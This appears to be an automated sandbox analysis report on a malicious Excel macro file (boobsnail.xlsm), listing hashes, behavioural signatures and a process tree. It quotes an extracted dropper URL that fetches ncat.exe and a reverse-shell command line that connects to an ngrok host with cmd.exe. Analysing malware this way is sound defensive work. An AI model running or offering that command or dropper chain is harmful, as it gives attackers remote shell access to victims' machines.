Analysis

  • max time kernel
    70s
  • max time network
    76s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    19/10/2022, 12:26

General

  • Target

    boobsnail.xlsm

  • Size

    14KB

  • MD5

    e86decfda7ca278f088161f30e9bcd22

  • SHA1

    4274ab41b9f6ea1f2312f886592c15a803db625b

  • SHA256

    444684e8addbfe779d1391a22e6ca421c96c0f05a0765e5b0292511121531a20

  • SHA512

    20998417e28a57d48329be51bbdbfbf6c40402c51dfe3c2cc8dabc364726550f47c0846c35ece29add22fde627cba608e98718bd1f32043ca616e64faa82b025

  • SSDEEP

    192:t7yIcj/lhE0Bpoiqh5BzJVapALXJ6+TaXpS0VqDqHhVctS+GvDflJP:t7yZj/lhpoIpEJPMpditY7lJP

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://github.com/cyberisltd/NcatPortable/raw/master/ncat.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\boobsnail.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\nc.exe 5.tcp.eu.ngrok.io 19233 -e cmd.exe
      2⤵
      • Process spawned unexpected child process
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:812
      • C:\Users\Public\nc.exe
        C:\Users\Public\nc.exe 5.tcp.eu.ngrok.io 19233 -e cmd.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1784

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Public\nc.exe

          Filesize

          1.8MB

          MD5

          b6e0db27c2b3e62db616b0918a5d8ed8

          SHA1

          66c5afcaad55cedfd8fb6d056c1a34802f52969e

          SHA256

          1d177ff8ed3a7f17c5e5e4ecebcee3f26f360658bca2e8ad808bd270d1f492de

          SHA512

          e99600633a28f9812f0a1e631326310429ec6f11ea773c7255544164a135a76910f8325f5eac86551cc97d5f6701640b5f889e3056cc5aa60d00eaf4bdf258db

        • C:\Users\Public\nc.exe

          Filesize

          1.8MB

          MD5

          b6e0db27c2b3e62db616b0918a5d8ed8

          SHA1

          66c5afcaad55cedfd8fb6d056c1a34802f52969e

          SHA256

          1d177ff8ed3a7f17c5e5e4ecebcee3f26f360658bca2e8ad808bd270d1f492de

          SHA512

          e99600633a28f9812f0a1e631326310429ec6f11ea773c7255544164a135a76910f8325f5eac86551cc97d5f6701640b5f889e3056cc5aa60d00eaf4bdf258db

        • \Users\Public\nc.exe

          Filesize

          1.8MB

          MD5

          b6e0db27c2b3e62db616b0918a5d8ed8

          SHA1

          66c5afcaad55cedfd8fb6d056c1a34802f52969e

          SHA256

          1d177ff8ed3a7f17c5e5e4ecebcee3f26f360658bca2e8ad808bd270d1f492de

          SHA512

          e99600633a28f9812f0a1e631326310429ec6f11ea773c7255544164a135a76910f8325f5eac86551cc97d5f6701640b5f889e3056cc5aa60d00eaf4bdf258db

        • memory/1980-54-0x000000002F351000-0x000000002F354000-memory.dmp

          Filesize

          12KB

        • memory/1980-55-0x00000000710D1000-0x00000000710D3000-memory.dmp

          Filesize

          8KB

        • memory/1980-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/1980-57-0x00000000720BD000-0x00000000720C8000-memory.dmp

          Filesize

          44KB

        • memory/1980-58-0x0000000076031000-0x0000000076033000-memory.dmp

          Filesize

          8KB

        • memory/1980-64-0x00000000720BD000-0x00000000720C8000-memory.dmp

          Filesize

          44KB